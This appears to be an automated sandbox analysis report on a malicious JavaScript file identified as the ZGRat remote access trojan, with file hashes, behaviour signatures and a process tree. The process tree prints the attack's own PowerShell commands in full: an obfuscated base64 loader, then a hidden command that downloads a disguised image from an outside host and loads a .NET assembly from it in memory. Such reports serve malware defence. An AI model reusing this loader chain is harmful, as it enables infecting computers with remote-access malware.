Analysis
-
max time kernel
153s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
-
submitted
12-10-2023 07:43
General
-
Target
debitar_diarias.js
-
Size
464KB
-
MD5
552b4a922bbef46373dd3042c7b6a6c7
-
SHA1
9cf93f1b3b5c39f46ed62183fc73ff0f80700c23
-
SHA256
8e792471355b42e56a05e58ef2cb62f2572bda8db9740ae8526c99e3db41078b
-
SHA512
4cd0c9bda90fdf00d6b373e0a1015169413de69f3a9d25c00d2bef71b0f36e053335be08958729355042c5e598477e9a812ed511edfdd937fffa1aa59c22192f
-
SSDEEP
768:7W77777977777977777977777s7777797777797777797777797777797777797N:7lSRHnlL1Gsu
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://uploaddeimagens.com.br/images/004/611/936/original/new_image_rump_js.jpg?1695057372
exe.dropper
https://uploaddeimagens.com.br/images/004/611/936/original/new_image_rump_js.jpg?1695057372
Signatures
-
Detect ZGRat V1 34 IoCs
-
ZGRat
ZGRat is remote access trojan written in C#.
-
Blocklisted process makes network request 1 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\debitar_diarias.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░2░░░DE░░░MQ░░░v░░░Dk░░░Mw░░░2░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░bgBl░░░Hc░░░XwBp░░░G0░░░YQBn░░░GU░░░XwBy░░░HU░░░bQBw░░░F8░░░agBz░░░C4░░░agBw░░░Gc░░░Pw░░░x░░░DY░░░OQ░░░1░░░D░░░░░░NQ░░░3░░░DM░░░Nw░░░y░░░Cc░░░Ow░░░k░░░Hc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░C░░░░░░PQ░░░g░░░E4░░░ZQB3░░░C0░░░TwBi░░░Go░░░ZQBj░░░HQ░░░I░░░BT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░E4░░░ZQB0░░░C4░░░VwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBC░░░Hk░░░d░░░Bl░░░HM░░░I░░░░░░9░░░C░░░░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░u░░░EQ░░░bwB3░░░G4░░░b░░░Bv░░░GE░░░Z░░░BE░░░GE░░░d░░░Bh░░░Cg░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░KQ░░░7░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░I░░░░░░9░░░C░░░░░░WwBT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░FQ░░░ZQB4░░░HQ░░░LgBF░░░G4░░░YwBv░░░GQ░░░aQBu░░░Gc░░░XQ░░░6░░░Do░░░VQBU░░░EY░░░O░░░░░░u░░░Ec░░░ZQB0░░░FM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BG░░░Gw░░░YQBn░░░C░░░░░░PQ░░░g░░░Cc░░░P░░░░░░8░░░EI░░░QQBT░░░EU░░░Ng░░░0░░░F8░░░UwBU░░░EE░░░UgBU░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BG░░░Gw░░░YQBn░░░C░░░░░░PQ░░░g░░░Cc░░░P░░░░░░8░░░EI░░░QQBT░░░EU░░░Ng░░░0░░░F8░░░RQBO░░░EQ░░░Pg░░░+░░░Cc░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BG░░░Gw░░░YQBn░░░Ck░░░Ow░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░SQBu░░░GQ░░░ZQB4░░░E8░░░Zg░░░o░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░LQBn░░░GU░░░I░░░░░░w░░░C░░░░░░LQBh░░░G4░░░Z░░░░░░g░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░LQBn░░░HQ░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░r░░░D0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BG░░░Gw░░░YQBn░░░C4░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░C░░░░░░PQ░░░g░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░LQ░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░7░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░QwBv░░░G0░░░bQBh░░░G4░░░Z░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░UwB1░░░GI░░░cwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░L░░░░░░g░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░KQ░░░7░░░CQ░░░YwBv░░░G0░░░bQBh░░░G4░░░Z░░░BC░░░Hk░░░d░░░Bl░░░HM░░░I░░░░░░9░░░C░░░░░░WwBT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░EM░░░bwBu░░░HY░░░ZQBy░░░HQ░░░XQ░░░6░░░Do░░░RgBy░░░G8░░░bQBC░░░GE░░░cwBl░░░DY░░░N░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░QwBv░░░G0░░░bQBh░░░G4░░░Z░░░░░░p░░░Ds░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░I░░░░░░9░░░C░░░░░░WwBT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░FI░░░ZQBm░░░Gw░░░ZQBj░░░HQ░░░aQBv░░░G4░░░LgBB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░XQ░░░6░░░Do░░░T░░░Bv░░░GE░░░Z░░░░░░o░░░CQ░░░YwBv░░░G0░░░bQBh░░░G4░░░Z░░░BC░░░Hk░░░d░░░Bl░░░HM░░░KQ░░░7░░░CQ░░░d░░░B5░░░H░░░░░░ZQ░░░g░░░D0░░░I░░░░░░k░░░Gw░░░bwBh░░░GQ░░░ZQBk░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQ░░░u░░░Ec░░░ZQB0░░░FQ░░░eQBw░░░GU░░░K░░░░░░n░░░EY░░░aQBi░░░GU░░░cg░░░u░░░Eg░░░bwBt░░░GU░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░g░░░D0░░░I░░░░░░k░░░HQ░░░eQBw░░░GU░░░LgBH░░░GU░░░d░░░BN░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░o░░░Cc░░░VgBB░░░Ek░░░Jw░░░p░░░C4░░░SQBu░░░HY░░░bwBr░░░GU░░░K░░░░░░k░░░G4░░░dQBs░░░Gw░░░L░░░░░░g░░░Fs░░░bwBi░░░Go░░░ZQBj░░░HQ░░░WwBd░░░F0░░░I░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgB0░░░HQ░░░LwB0░░░HQ░░░Lw░░░y░░░C4░░░Mw░░░1░░░DE░░░Lg░░░y░░░Dg░░░Lg░░░w░░░DQ░░░Lw░░░v░░░Do░░░c░░░B0░░░HQ░░░a░░░░░░n░░░C░░░░░░L░░░░░░g░░░Cc░░░bQBl░░░HI░░░Z░░░Bh░░░GE░░░YQBh░░░GE░░░YQ░░░n░░░Ck░░░KQ░░░=';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.replace('░░░','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/611/936/original/new_image_rump_js.jpg?1695057372';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.tt/tt/2.351.28.04//:ptth' , 'merdaaaaaa'))"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
3.1MB
-
Filesize
64KB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
3.1MB
-
Filesize
10.8MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB
-
Filesize
3.1MB